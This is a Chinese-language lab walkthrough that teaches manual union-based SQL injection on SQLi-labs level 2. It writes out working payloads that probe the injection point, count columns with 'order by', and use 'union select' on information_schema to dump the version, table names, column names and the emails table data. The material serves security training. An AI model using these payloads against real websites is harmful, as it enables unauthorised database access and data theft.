目录
SQLi-labs靶场采用的是mysql数据库,再进行SQL注入时需要注意mysql内置的几个存放重要信息的系统库(高版本5.0以上特有):
字符类型的查询语句(需要区分单引号闭合还是双引号闭合后面不再做补充):
前置知识
SQLi-labs靶场采用的是mysql数据库,再进行SQL注入时需要注意mysql内置的几个存放重要信息的系统库(高版本5.0以上特有):
1、information_schema库:存放着MySQL服务器中数据库的信息(SCHEMATA表存放所有库名、TABLES表存放所有表名、COLUMNS表存放所有字段名)
2、performance_schema库:存放着MySQL服务器的性能数据,即执行SQL语句花费了多少时间、内存使用情况等
3、mysql库:存放着数据库用户的基本信息(用户名、密码)、权限信息(对库、表、字段的访问权限信息)
4、sys库:information_schema和performance_schema的结合,储存着那个数据库占用资源最多,那张表的访问量最多等直观的信息。
SQL注入常用的函数:
group_concat:用于将属于一组的相关行的数据项进行合并并以字符串的形式返回,SQL注入时回显点往往只有一个,在对多组数据进行查询可以用此函数将所有结果一次性回显,非常有用
SQL注入方式
1、根据注入方式:手工注入、用脚本自动进行测试并注入
1、根据注入点的数据类型:数字类型注入、字符类型注入
2、根据当前数据库用户权限:高权限注入、低权限注入
3、根据playload不同:联合查询注入、堆叠注入、加解密注入、延时注入、布尔盲注、JSON注入
4、根据数据提交方式不同:GET注入、POST注入、COOKIE注入、XFF注入
SQL手动注入基本流程
1、寻找注入点并判断是否存在SQL注入
2、区分注入点是数字类型注入还是字符类型注入
3、判断是否存在回显点若没有尝试报错注入或盲注
4、判断当前表的列数(字段数)方便后续联进行联合查询
5、信息收集,用联合、报错、盲注等方式获取版本、库名、表名、列名等信息
6、根据收集到的信息够建payload进行SQL注入
靶场实战
SQL注入基本流程练习(SQLi-labs第二关)
寻找注入点:
进入页面后提示我们在URL中传递一个数字类型的ID值,先忽略给出的注入数据类型提示,后续手动测试是否为数字型或字符型
尝试在URL后添加?id=1和?id=3对页面进行测试
发现页面中出现回显,且两次回显内容不同,判断传入的ID值传入网站后台后被带入到SQL语句中执行了查询操作
判断是数字类型注入还是字符类型注入:
接下来判断此接口是否存在SQL注入,即是否存在注入点,并判断是数字类型注入点还是字符类型注入点,若是字符类型注入点后续进行SQL注入语句构造时需要考虑引号闭合的问题,在网站后台不同数据类型的模板为:
数字类型的查询语句:
select * from <table_name> where id=x
字符类型的查询语句(需要区分单引号闭合还是双引号闭合后面不再做补充):
单引号:
select * from <table_name> where id='x'
双引号:
select * from <table_name> where id="x"
常用的注入数据类型判断是用and关键字进行测试,在?id=1后接and 1=1和and 1=2构造True类型查询和False类型查询进行测试,构造后将会在网站后台执行的的语句大致样子与预测的回显结果将会是:
数字类型:
select * from <table_name> where id=a and 1=1
回显与?id=1结果相同
select * from <table_name> where id=a and 1=2
无回显或回显中有结果为空的报错信息
字符类型(可以在SQLi-labs第一关进行测试):
select * from <table_name> where id = '1 and 1=1'
回显与?id=1结果相同
select * from <table_name> where id = '1 and 1=2'
回显与?id=1结果相同
再输入?id=1' and 1=2 --+进行闭合引号进行False类型查询测试:
select * from <table_name> where id = '1' and 1=2 --+'
无回显或回显中有结果为空的报错信息
熟悉思路后回到靶场构造True类型查询,用?id=1 and 1=1进行测试:
构造False类型查询,用?id=1 and 1=2进行测试:
发现和数字类型SQL注的特征一致,确定此处存在SQL注入漏洞,即存在注入点,由于时数字类型注入,在后续进行SQL注入语句构造时就不用考虑引号闭合的问题
判断当前表的列数(字段数):
从第一列开始尝试:?di=1 order by 1;?di=1 order by 2;?di=1 order by 3......
后台执行的SQL语句大概是:
select * from <table_name> where id=a and 1=1 order by 1
尝试到以第四列排序时出现报错:
则可得知此表有3列 (三个字段)
判断是否存在回显点:
构造联合查询判断回显点之前需要先使正常查询查不到内容,无回显的情况下用union构造联合查询来显示特定的测试内容,由于这里使用id进行查询猜测id均为递增的正整数,猜测id值为负数、浮点数的情况下可以达到无回显的效果,字符可能会出现报错
尝试输入:?id=-1
发现无回显,达到了目的,开始构造联合查询:
?id=-1 union select 1,2,3
发现回显点, 联合查询中数字“2”和数字“3”的位置为回显点
信息收集:
构造联合查询查询数据库版本和当前网站所使用的数据库名:
?id=-1 union select 1,version(),database()
发现数据库版本为5.7.26存在系统库,当前数据库名为security
构造联合查询对系统库进行查询,获取当前表名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
成功获取当前数据库中有emails、referers、uagents、users表
获取表名后即可根据表名查询字段名,继续构造联合查询:
这里先对emails表进行查询:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=emails
发现报错,尝试对emails进行十六进制编码再次查询:
留下开头的0x表示十六进制编码即可,其余删掉
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656d61696c73
成功获取字段名
根据收集到的表名、字段名进行SQL注入获取字段数据:
这里0x3a是字符":"的十六进制编码,用做分隔符
?id=-1 union select 1,2,(select group_concat(id,0x3a,email_id)from emails)
成功获取到emails表中的所有数据数,想要获取其他数据库中的信息也是同理